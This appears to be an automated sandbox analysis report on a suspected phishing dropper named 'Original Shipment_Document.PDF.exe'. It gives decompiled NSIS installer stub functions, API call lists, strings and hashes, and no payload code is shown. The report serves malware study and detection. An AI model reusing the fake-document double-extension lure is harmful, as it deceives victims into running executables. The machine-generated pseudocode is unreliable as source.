				void* __esi;
				intOrPtr* _t22;
				void* _t30;
				void* _t32;
				int _t33;
				void* _t36;
				int _t39;
				int _t40;
				int _t44;
				short _t63;
				WCHAR* _t65;
				signed char _t69;
				signed short _t73;
				WCHAR* _t76;
				intOrPtr _t82;
				WCHAR* _t87;

				_t82 =  *0x42a230;
				_t22 = E004068D4(2);
				_t90 = _t22;
				if(_t22 == 0) {
					_t76 = 0x423708;
					L"1033" = 0x30;
					 *0x437002 = 0x78;
					 *0x437004 = 0;
					E004063D5(_t78, __eflags, 0x80000001, L"Control Panel\\Desktop\\ResourceLocale", 0, 0x423708, 0);
					__eflags =  *0x423708;
					if(__eflags == 0) {
						E004063D5(_t78, __eflags, 0x80000003, L".DEFAULT\\Control Panel\\International",  &M004083D4, 0x423708, 0);
					}
					lstrcatW(L"1033", _t76);
				} else {
					_t73 =  *_t22(); // executed
					E0040644E(L"1033", _t73 & 0x0000ffff);
				}
				E00403E8C(_t78, _t90);
				_t86 = L"C:\\Users\\Arthur\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\timelrer\\Tdlen";
				 *0x42a2a0 =  *0x42a238 & 0x00000020;
				 *0x42a2bc = 0x10000;
				if(E00405EDE(_t90, L"C:\\Users\\Arthur\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\timelrer\\Tdlen") != 0) {
					L16:
					if(E00405EDE(_t98, _t86) == 0) {
						E00406544(_t76, 0, _t82, _t86,  *((intOrPtr*)(_t82 + 0x118))); // executed
					}
					_t30 = LoadImageW( *0x42a220, 0x67, 1, 0, 0, 0x8040); // executed
					 *0x429208 = _t30;
					if( *((intOrPtr*)(_t82 + 0x50)) == 0xffffffff) {
						L21:
						if(E0040140B(0) == 0) {
							_t32 = E00403E8C(_t78, __eflags);
							__eflags =  *0x42a2c0;
							if( *0x42a2c0 != 0) {
								_t33 = E0040563C(_t32, 0);
								__eflags = _t33;
								if(_t33 == 0) {
									E0040140B(1);
									goto L33;
								}
								__eflags =  *0x4291ec;
								if( *0x4291ec == 0) {
									E0040140B(2);
								}
								goto L22;
							}
							ShowWindow( *0x4236e8, 5); // executed
							_t39 = E00406864("RichEd20"); // executed
							__eflags = _t39;
							if(_t39 == 0) {
								E00406864("RichEd32");
							}
							_t87 = L"RichEdit20W";
							_t40 = GetClassInfoW(0, _t87, 0x4291c0);
							__eflags = _t40;
							if(_t40 == 0) {
								GetClassInfoW(0, L"RichEdit", 0x4291c0);
								 *0x4291e4 = _t87;
								RegisterClassW(0x4291c0);
							}
							_t44 = DialogBoxParamW( *0x42a220,  *0x429200 + 0x00000069 & 0x0000ffff, 0, E00403F64, 0); // executed
							E00403B06(E0040140B(5), 1);
							return _t44;
						}
						L22:
						_t36 = 2;
						return _t36;
					} else {
						_t78 =  *0x42a220;
						 *0x4291c4 = E00401000;
						 *0x4291d0 =  *0x42a220;
						 *0x4291d4 = _t30;
						 *0x4291e4 = 0x40a380;
						if(RegisterClassW(0x4291c0) == 0) {
							L33:
							__eflags = 0;
							return 0;
						}
						SystemParametersInfoW(0x30, 0,  &_v16, 0);
						 *0x4236e8 = CreateWindowExW(0x80, 0x40a380, 0, 0x80000000, _v16, _v12, _v8 - _v16, _v4 - _v12, 0, 0,  *0x42a220, 0);
						goto L21;
					}
				} else {
					_t78 =  *(_t82 + 0x48);
					_t92 = _t78;
					if(_t78 == 0) {
						goto L16;
					}
					_t76 = 0x4281c0;
					E004063D5(_t78, _t92,  *((intOrPtr*)(_t82 + 0x44)),  *0x42a258 + _t78 * 2,  *0x42a258 +  *(_t82 + 0x4c) * 2, 0x4281c0, 0);
					_t63 =  *0x4281c0; // 0x43
					if(_t63 == 0) {
						goto L16;
					}
					if(_t63 == 0x22) {
						_t76 = 0x4281c2;
						 *((short*)(E00405E03(0x4281c2, 0x22))) = 0;
					}
					_t65 = _t76 + lstrlenW(_t76) * 2 - 8;
					if(_t65 <= _t76 || lstrcmpiW(_t65, L".exe") != 0) {
						L15:
						E00406507(_t86, E00405DD6(_t76));
						goto L16;
					} else {
						_t69 = GetFileAttributesW(_t76);
						if(_t69 == 0xffffffff) {
							L14:
							E00405E22(_t76);
							goto L15;
						}
						_t98 = _t69 & 0x00000010;
						if((_t69 & 0x00000010) != 0) {
							goto L15;
						}
						goto L14;
					}
				}
			}

0x00403bbc
0x00403bc5
0x00403bcc
0x00403bce
0x00403be2
0x00403bf4
0x00403bfd
0x00403c06
0x00403c0d
0x00403c12
0x00403c19
0x00403c2c
0x00403c2c
0x00403c37
0x00403bd0
0x00403bd0
0x00403bdb
0x00403bdb
0x00403c3c
0x00403c46
0x00403c4f
0x00403c54
0x00403c65
0x00403cf7
0x00403cff
0x00403d08
0x00403d08
0x00403d1e
0x00403d24
0x00403d32
0x00403db3
0x00403dbb
0x00403dc5
0x00403dca
0x00403dd0
0x00403e5a
0x00403e5f
0x00403e61
0x00403e7d
0x00000000
0x00403e7d
0x00403e63
0x00403e69
0x00403e71
0x00403e71
0x00000000
0x00403e69
0x00403dde
0x00403de9
0x00403dee
0x00403df0
0x00403df7
0x00403df7
0x00403e02
0x00403e0a
0x00403e0c
0x00403e0e
0x00403e17
0x00403e1a
0x00403e20
0x00403e20
0x00403e3f
0x00403e50
0x00000000
0x00403e55
0x00403dbd
0x00403dbf
0x00000000
0x00403d34
0x00403d34
0x00403d40
0x00403d4a
0x00403d50
0x00403d55
0x00403d64
0x00403e82
0x00403e82
0x00000000
0x00403e82
0x00403d73
0x00403dae
0x00000000
0x00403dae
0x00403c6b
0x00403c6b
0x00403c6e
0x00403c70
0x00000000
0x00000000
0x00403c7e
0x00403c90
0x00403c95
0x00403c9e
0x00000000
0x00000000
0x00403ca4
0x00403ca6
0x00403cb3
0x00403cb3
0x00403cbc
0x00403cc2
0x00403cea
0x00403cf2
0x00000000
0x00403cd4
0x00403cd5
0x00403cde
0x00403ce4
0x00403ce5
0x00000000
0x00403ce5
0x00403ce0
0x00403ce2
0x00000000
0x00000000
0x00000000
0x00403ce2
0x00403cc2

APIs

Part of subcall function 004068D4: GetModuleHandleA.KERNEL32(?,00000020,?,00403607,0000000B), ref: 004068E6
Part of subcall function 004068D4: GetProcAddress.KERNEL32(00000000,?), ref: 00406901

GetUserDefaultUILanguage.KERNELBASE(00000002,777C3420,C:\Users\user\AppData\Local\Temp\,?,00000000,?), ref: 00403BD0

Part of subcall function 0040644E: wsprintfW.USER32 ref: 0040645B

lstrcatW.KERNEL32(1033,00423708), ref: 00403C37
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\timelrer\Tdlen,1033,00423708,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423708,00000000,00000002,777C3420), ref: 00403CB7
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\timelrer\Tdlen,1033,00423708,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423708,00000000), ref: 00403CCA
GetFileAttributesW.KERNEL32(Call,?,00000000,?), ref: 00403CD5
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\timelrer\Tdlen), ref: 00403D1E
RegisterClassW.USER32(004291C0), ref: 00403D5B
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403D73
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403DA8
ShowWindow.USER32(00000005,00000000,?,00000000,?), ref: 00403DDE
GetClassInfoW.USER32(00000000,RichEdit20W,004291C0), ref: 00403E0A
GetClassInfoW.USER32(00000000,RichEdit,004291C0), ref: 00403E17
RegisterClassW.USER32(004291C0), ref: 00403E20
DialogBoxParamW.USER32(?,00000000,00403F64,00000000), ref: 00403E3F

Strings

RichEdit20W, xrefs: 00403E02, 00403E08
_Nb, xrefs: 00403D3A, 00403DA2
RichEdit, xrefs: 00403E11
Control Panel\Desktop\ResourceLocale, xrefs: 00403BEA
RichEd32, xrefs: 00403DF2
Call, xrefs: 00403C7E, 00403C87, 00403C95, 00403CE4, 00403CEA
RichEd20, xrefs: 00403DE4
C:\Users\user\AppData\Local\Temp\, xrefs: 00403BBB
1033, xrefs: 00403BD6, 00403C32
.exe, xrefs: 00403CC4
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\timelrer\Tdlen, xrefs: 00403C46, 00403C4E, 00403CF1, 00403CF7, 00403D07
.DEFAULT\Control Panel\International, xrefs: 00403C22

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDefaultDialogFileHandleImageLanguageLoadModuleParamParametersProcShowSystemUserlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\timelrer\Tdlen$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 606308-3312605392
Opcode ID: e27dd36c7e3ea7d4b0518f1200331748326bb14958ad4778a213b023eb595640
Instruction ID: f8e28dda484975e23f2397f6e39507faffe4a9094113ace64084d81fe028ea3a
Opcode Fuzzy Hash: e27dd36c7e3ea7d4b0518f1200331748326bb14958ad4778a213b023eb595640
Instruction Fuzzy Hash: B761D570244200BBD720AF66AD45F2B3A6CEB84B49F40453FFD41B62E1DB795912CA7D

Uniqueness

Uniqueness Score: -1.00%

Function 0040307D Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 181
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 80%

			E0040307D(void* __eflags, signed int _a4) {
				DWORD* _v8;
				DWORD* _v12;
				void* _v16;
				intOrPtr _v20;
				char _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				long _t43;
				signed int _t50;
				void* _t53;
				void* _t57;
				intOrPtr* _t59;
				long _t60;
				signed int _t65;
				signed int _t70;
				signed int _t71;
				signed int _t77;
				intOrPtr _t80;
				long _t82;
				signed int _t85;
				signed int _t87;
				void* _t89;
				signed int _t90;
				signed int _t93;
				void* _t94;

				_t82 = 0;
				_v12 = 0;
				_v8 = 0;
				_t43 = GetTickCount();
				_t91 = L"C:\\Users\\Arthur\\Desktop\\Original Shipment_Document.PDF.exe";
				 *0x42a22c = _t43 + 0x3e8;
				GetModuleFileNameW(0, L"C:\\Users\\Arthur\\Desktop\\Original Shipment_Document.PDF.exe", 0x400);
				_t89 = E00405FF7(_t91, 0x80000000, 3);
				_v16 = _t89;
				 *0x40a018 = _t89;
				if(_t89 == 0xffffffff) {
					return L"Error launching installer";
				}
				_t92 = L"C:\\Users\\Arthur\\Desktop";
				E00406507(L"C:\\Users\\Arthur\\Desktop", _t91);
				E00406507(0x439000, E00405E22(_t92));
				_t50 = GetFileSize(_t89, 0);
				__eflags = _t50;
				 *0x420ec4 = _t50;
				_t93 = _t50;
				if(_t50 <= 0) {
					L24:
					E00403019(1);
					__eflags =  *0x42a234 - _t82;
					if( *0x42a234 == _t82) {
						goto L29;
					}
					__eflags = _v8 - _t82;
					if(_v8 == _t82) {
						L28:
						_t34 =  &_v24; // 0x403847
						_t53 = GlobalAlloc(0x40,  *_t34); // executed
						_t94 = _t53;
						E004034AF( *0x42a234 + 0x1c);
						_t35 =  &_v24; // 0x403847
						_push( *_t35);
						_push(_t94);
						_push(_t82);
						_push(0xffffffff); // executed
						_t57 = E004032B4(); // executed
						__eflags = _t57 - _v24;
						if(_t57 == _v24) {
							__eflags = _v44 & 0x00000001;
							 *0x42a230 = _t94;
							 *0x42a238 =  *_t94;
							if((_v44 & 0x00000001) != 0) {
								 *0x42a23c =  *0x42a23c + 1;
								__eflags =  *0x42a23c;
							}
							_t40 = _t94 + 0x44; // 0x44
							_t59 = _t40;
							_t85 = 8;
							do {
								_t59 = _t59 - 8;
								 *_t59 =  *_t59 + _t94;
								_t85 = _t85 - 1;
								__eflags = _t85;
							} while (_t85 != 0);
							_t60 = SetFilePointer(_v16, _t82, _t82, 1); // executed
							 *(_t94 + 0x3c) = _t60;
							E00405FB2(0x42a240, _t94 + 4, 0x40);
							__eflags = 0;
							return 0;
						}
						goto L29;
					}
					E004034AF( *0x414eb8);
					_t65 = E00403499( &_a4, 4);
					__eflags = _t65;
					if(_t65 == 0) {
						goto L29;
					}
					__eflags = _v12 - _a4;
					if(_v12 != _a4) {
						goto L29;
					}
					goto L28;
				} else {
					do {
						_t90 = _t93;
						asm("sbb eax, eax");
						_t70 = ( ~( *0x42a234) & 0x00007e00) + 0x200;
						__eflags = _t93 - _t70;
						if(_t93 >= _t70) {
							_t90 = _t70;
						}
						_t71 = E00403499(0x40ceb8, _t90);
						__eflags = _t71;
						if(_t71 == 0) {
							E00403019(1);
							L29:
							return L"Installer integrity check has failed. Common causes include\nincomplete download and damaged media. Contact the\ninstaller\'s author to obtain a new copy.\n\nMore information at:\nhttp://nsis.sf.net/NSIS_Error";
						}
						__eflags =  *0x42a234;
						if( *0x42a234 != 0) {
							__eflags = _a4 & 0x00000002;
							if((_a4 & 0x00000002) == 0) {
								E00403019(0);
							}
							goto L20;
						}
						E00405FB2( &_v44, 0x40ceb8, 0x1c);
						_t77 = _v44;
						__eflags = _t77 & 0xfffffff0;
						if((_t77 & 0xfffffff0) != 0) {
							goto L20;
						}
						__eflags = _v40 - 0xdeadbeef;
						if(_v40 != 0xdeadbeef) {
							goto L20;
						}
						__eflags = _v28 - 0x74736e49;
						if(_v28 != 0x74736e49) {
							goto L20;
						}
						__eflags = _v32 - 0x74666f73;
						if(_v32 != 0x74666f73) {
							goto L20;
						}
						__eflags = _v36 - 0x6c6c754e;
						if(_v36 != 0x6c6c754e) {
							goto L20;
						}
						_a4 = _a4 | _t77;
						_t87 =  *0x414eb8; // 0x52fa6
						 *0x42a2c0 =  *0x42a2c0 | _a4 & 0x00000002;
						_t80 = _v20;
						__eflags = _t80 - _t93;
						 *0x42a234 = _t87;
						if(_t80 > _t93) {
							goto L29;
						}
						__eflags = _a4 & 0x00000008;
						if((_a4 & 0x00000008) != 0) {
							L16:
							_v8 = _v8 + 1;
							_t93 = _t80 - 4;
							__eflags = _t90 - _t93;
							if(_t90 > _t93) {
								_t90 = _t93;
							}
							goto L20;
						}
						__eflags = _a4 & 0x00000004;
						if((_a4 & 0x00000004) != 0) {
							break;
						}
						goto L16;
						L20:
						__eflags = _t93 -  *0x420ec4; // 0x536c0
						if(__eflags < 0) {
							_v12 = E004069C1(_v12, 0x40ceb8, _t90);
						}
						 *0x414eb8 =  *0x414eb8 + _t90;
						_t93 = _t93 - _t90;
						__eflags = _t93;
					} while (_t93 != 0);
					_t82 = 0;
					__eflags = 0;
					goto L24;
				}
			}

0x00403085
0x00403088
0x0040308b
0x0040308e
0x00403094
0x004030a5
0x004030aa
0x004030bd
0x004030c2
0x004030c5
0x004030cb
0x00000000
0x004030cd
0x004030d8
0x004030de
0x004030ef
0x004030f6
0x004030fc
0x004030fe
0x00403103
0x00403105
0x004031f0
0x004031f2
0x004031f7
0x004031fe
0x00000000
0x00000000
0x00403200
0x00403203
0x00403227
0x00403227
0x0040322c
0x00403232
0x0040323d
0x00403242
0x00403242
0x00403245
0x00403246
0x00403247
0x00403249
0x0040324e
0x00403251
0x00403264
0x00403268
0x00403270
0x00403275
0x00403277
0x00403277
0x00403277
0x0040327f
0x0040327f
0x00403282
0x00403283
0x00403283
0x00403286
0x00403288
0x00403288
0x00403288
0x00403292
0x00403298
0x004032a6
0x004032ab
0x00000000
0x004032ab
0x00000000
0x00403251
0x0040320b
0x00403216
0x0040321b
0x0040321d
0x00000000
0x00000000
0x00403222
0x00403225
0x00000000
0x00000000
0x00000000
0x0040310b
0x00403110
0x00403115
0x00403119
0x00403120
0x00403125
0x00403127
0x00403129
0x00403129
0x0040312d
0x00403132
0x00403134
0x0040325c
0x00403253
0x00000000
0x00403253
0x0040313a
0x00403141
0x004031bd
0x004031c1
0x004031c5
0x004031ca
0x00000000
0x004031c1
0x0040314a
0x0040314f
0x00403152
0x00403157
0x00000000
0x00000000
0x00403159
0x00403160
0x00000000
0x00000000
0x00403162
0x00403169
0x00000000
0x00000000
0x0040316b
0x00403172
0x00000000
0x00000000
0x00403174
0x0040317b
0x00000000
0x00000000
0x0040317d
0x00403183
0x0040318c
0x00403192
0x00403195
0x00403197
0x0040319d
0x00000000
0x00000000
0x004031a3
0x004031a7
0x004031af
0x004031af
0x004031b2
0x004031b5
0x004031b7
0x004031b9
0x004031b9
0x00000000
0x004031b7
0x004031a9
0x004031ad
0x00000000
0x00000000
0x00000000
0x004031cb
0x004031cb
0x004031d1
0x004031dd
0x004031dd
0x004031e0
0x004031e6
0x004031e6
0x004031e6
0x004031ee
0x004031ee
0x00000000
0x004031ee

APIs

GetTickCount.KERNEL32 ref: 0040308E
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\Original Shipment_Document.PDF.exe,00000400,?,?,?,?,?,00403847,?), ref: 004030AA

Part of subcall function 00405FF7: GetFileAttributesW.KERNELBASE(00000003,004030BD,C:\Users\user\Desktop\Original Shipment_Document.PDF.exe,80000000,00000003,?,?,?,?,?,00403847,?), ref: 00405FFB
Part of subcall function 00405FF7: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,?,?,00403847,?), ref: 0040601D

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Original Shipment_Document.PDF.exe,C:\Users\user\Desktop\Original Shipment_Document.PDF.exe,80000000,00000003,?,?,?,?,?,00403847), ref: 004030F6
GlobalAlloc.KERNELBASE(00000040,G8@,?,?,?,?,?,00403847,?), ref: 0040322C

Strings

C:\Users\user\Desktop, xrefs: 004030D8, 004030DD, 004030E3
Inst, xrefs: 00403162
G8@, xrefs: 00403227, 00403242
C:\Users\user\Desktop\Original Shipment_Document.PDF.exe, xrefs: 00403094, 004030A3, 004030B7, 004030D7
Null, xrefs: 00403174
C:\Users\user\AppData\Local\Temp\, xrefs: 00403084
Error launching installer, xrefs: 004030CD
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403253
soft, xrefs: 0040316B

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Original Shipment_Document.PDF.exe$Error launching installer$G8@$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-263982374
Opcode ID: 14db73aed8e8128a5e37732223ed1b608fd8b3b813a997d0dcc0c08c2bc17799
Instruction ID: 1a01736021049f1647ec9a5272654600d533d4cd09788acd7f842f4bfc25432a
Opcode Fuzzy Hash: 14db73aed8e8128a5e37732223ed1b608fd8b3b813a997d0dcc0c08c2bc17799
Instruction Fuzzy Hash: 06518371901205AFDB209F65DD82B9E7EACEB09756F10807BF901B62D1C77C8F418A6D

Uniqueness

Uniqueness Score: -1.00%

Function 00406544 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 196
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 72%

			E00406544(void* __ebx, void* __edi, void* __esi, signed int _a4, short _a8) {
				struct _ITEMIDLIST* _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _t44;
				WCHAR* _t45;
				signed char _t47;
				signed int _t48;
				short _t59;
				short _t61;
				short _t63;
				void* _t71;
				signed int _t77;
				signed int _t78;
				short _t81;
				short _t82;
				signed char _t84;
				signed int _t85;
				void* _t98;
				void* _t104;
				intOrPtr* _t105;
				void* _t107;
				WCHAR* _t108;
				void* _t110;

				_t107 = __esi;
				_t104 = __edi;
				_t71 = __ebx;
				_t44 = _a8;
				if(_t44 < 0) {
					_t44 =  *( *0x4291fc - 4 + _t44 * 4);
				}
				_push(_t71);
				_push(_t107);
				_push(_t104);
				_t105 =  *0x42a258 + _t44 * 2;
				_t45 = 0x4281c0;
				_t108 = 0x4281c0;
				if(_a4 >= 0x4281c0 && _a4 - 0x4281c0 >> 1 < 0x800) {
					_t108 = _a4;
					_a4 = _a4 & 0x00000000;
				}
				_t81 =  *_t105;
				_a8 = _t81;
				if(_t81 == 0) {
					L43:
					 *_t108 =  *_t108 & 0x00000000;
					if(_a4 == 0) {
						return _t45;
					}
					return E00406507(_a4, _t45);
				} else {
					while((_t108 - _t45 & 0xfffffffe) < 0x800) {
						_t98 = 2;
						_t105 = _t105 + _t98;
						if(_t81 >= 4) {
							if(__eflags != 0) {
								 *_t108 = _t81;
								_t108 = _t108 + _t98;
								__eflags = _t108;
							} else {
								 *_t108 =  *_t105;
								_t108 = _t108 + _t98;
								_t105 = _t105 + _t98;
							}
							L42:
							_t82 =  *_t105;
							_a8 = _t82;
							if(_t82 != 0) {
								_t81 = _a8;
								continue;
							}
							goto L43;
						}
						_t84 =  *((intOrPtr*)(_t105 + 1));
						_t47 =  *_t105;
						_t48 = _t47 & 0x000000ff;
						_v12 = (_t84 & 0x0000007f) << 0x00000007 | _t47 & 0x0000007f;
						_t85 = _t84 & 0x000000ff;
						_v28 = _t48 | 0x00008000;
						_t77 = 2;
						_v16 = _t85;
						_t105 = _t105 + _t77;
						_v24 = _t48;
						_v20 = _t85 | 0x00008000;
						if(_a8 != _t77) {
							__eflags = _a8 - 3;
							if(_a8 != 3) {
								__eflags = _a8 - 1;
								if(__eflags == 0) {
									__eflags = (_t48 | 0xffffffff) - _v12;
									E00406544(_t77, _t105, _t108, _t108, (_t48 | 0xffffffff) - _v12);
								}
								L38:
								_t108 =  &(_t108[lstrlenW(_t108)]);
								_t45 = 0x4281c0;
								goto L42;
							}
							_t78 = _v12;
							__eflags = _t78 - 0x1d;
							if(_t78 != 0x1d) {
								__eflags = (_t78 << 0xb) + 0x42b000;
								E00406507(_t108, (_t78 << 0xb) + 0x42b000);
							} else {
								E0040644E(_t108,  *0x42a228);
							}
							__eflags = _t78 + 0xffffffeb - 7;
							if(__eflags < 0) {
								L29:
								E0040678E(_t108);
							}
							goto L38;
						}
						if( *0x42a2a4 != 0) {
							_t77 = 4;
						}
						_t121 = _t48;
						if(_t48 >= 0) {
							__eflags = _t48 - 0x25;
							if(_t48 != 0x25) {
								__eflags = _t48 - 0x24;
								if(_t48 == 0x24) {
									GetWindowsDirectoryW(_t108, 0x400);
									_t77 = 0;
								}
								while(1) {
									__eflags = _t77;
									if(_t77 == 0) {
										goto L26;
									}
									_t59 =  *0x42a224;
									_t77 = _t77 - 1;
									__eflags = _t59;
									if(_t59 == 0) {
										L22:
										_t61 = SHGetSpecialFolderLocation( *0x42a228,  *(_t110 + _t77 * 4 - 0x18),  &_v8);
										__eflags = _t61;
										if(_t61 != 0) {
											L24:
											 *_t108 =  *_t108 & 0x00000000;
											__eflags =  *_t108;
											continue;
										}
										__imp__SHGetPathFromIDListW(_v8, _t108);
										_a8 = _t61;
										__imp__CoTaskMemFree(_v8);
										__eflags = _a8;
										if(_a8 != 0) {
											goto L26;
										}
										goto L24;
									}
									_t63 =  *_t59( *0x42a228,  *(_t110 + _t77 * 4 - 0x18), 0, 0, _t108); // executed
									__eflags = _t63;
									if(_t63 == 0) {
										goto L26;
									}
									goto L22;
								}
								goto L26;
							}
							GetSystemDirectoryW(_t108, 0x400);
							goto L26;
						} else {
							E004063D5( *0x42a258, _t121, 0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion",  *0x42a258 + (_t48 & 0x0000003f) * 2, _t108, _t48 & 0x00000040);
							if( *_t108 != 0) {
								L27:
								if(_v16 == 0x1a) {
									lstrcatW(_t108, L"\\Microsoft\\Internet Explorer\\Quick Launch");
								}
								goto L29;
							}
							E00406544(_t77, _t105, _t108, _t108, _v16);
							L26:
							if( *_t108 == 0) {
								goto L29;
							}
							goto L27;
						}
					}
					goto L43;
				}
			}

0x00406544
0x00406544
0x00406544
0x0040654a
0x0040654f
0x00406560
0x00406560
0x00406568
0x00406569
0x0040656a
0x0040656b
0x0040656e
0x00406576
0x00406578
0x00406589
0x0040658c
0x0040658c
0x00406590
0x00406596
0x00406599
0x00406774
0x00406774
0x0040677f
0x0040678b
0x0040678b
0x00000000
0x0040659f
0x004065a4
0x004065b9
0x004065ba
0x004065c0
0x00406752
0x00406760
0x00406763
0x00406763
0x00406754
0x00406757
0x0040675a
0x0040675c
0x0040675c
0x00406765
0x00406765
0x0040676b
0x0040676e
0x004065a1
0x00000000
0x004065a1
0x00000000
0x0040676e
0x004065c6
0x004065c9
0x004065d8
0x004065df
0x004065eb
0x004065ee
0x004065f1
0x004065f2
0x004065f7
0x004065fd
0x00406600
0x00406603
0x004066f6
0x004066fb
0x0040672e
0x00406733
0x00406738
0x0040673d
0x0040673d
0x00406742
0x00406748
0x0040674b
0x00000000
0x0040674b
0x004066fd
0x00406700
0x00406703
0x00406718
0x0040671f
0x00406705
0x0040670c
0x0040670c
0x00406727
0x0040672a
0x004066ee
0x004066ef
0x004066ef
0x00000000
0x0040672a
0x00406610
0x00406614
0x00406614
0x00406615
0x00406617
0x00406654
0x00406657
0x00406667
0x0040666a
0x00406672
0x00406678
0x00406678
0x004066d3
0x004066d3
0x004066d5
0x00000000
0x00000000
0x0040667c
0x00406681
0x00406682
0x00406684
0x0040669b
0x004066a9
0x004066af
0x004066b1
0x004066cf
0x004066cf
0x004066cf
0x00000000
0x004066cf
0x004066b7
0x004066c0
0x004066c3
0x004066c9
0x004066cd
0x00000000
0x00000000
0x00000000
0x004066cd
0x00406695
0x00406697
0x00406699
0x00000000
0x00000000
0x00000000
0x00406699
0x00000000
0x004066d3
0x0040665f
0x00000000
0x00406619
0x00406637
0x00406640
0x004066dd
0x004066e1
0x004066e9
0x004066e9
0x00000000
0x004066e1
0x0040664a
0x004066d7
0x004066db
0x00000000
0x00000000
0x00000000
0x004066db
0x00406617
0x00000000
0x004065a4

APIs

GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 0040665F
GetWindowsDirectoryW.KERNEL32(Call,00000400,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll,?,004055A0,Skipped: C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll,00000000,00000000,00418EC0,00000000), ref: 00406672
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 004066E9
lstrlenW.KERNEL32(Call,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll,?,004055A0,Skipped: C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll,00000000), ref: 00406743

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040662D
Skipped: C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll, xrefs: 00406569
Call, xrefs: 0040656E, 00406621, 00406628, 0040662C, 00406649, 0040665E, 00406671, 00406686, 004066B3, 004066E8, 004066EE, 0040670B, 0040671E, 0040673C, 00406742, 0040674B, 00406781
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004066E3

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

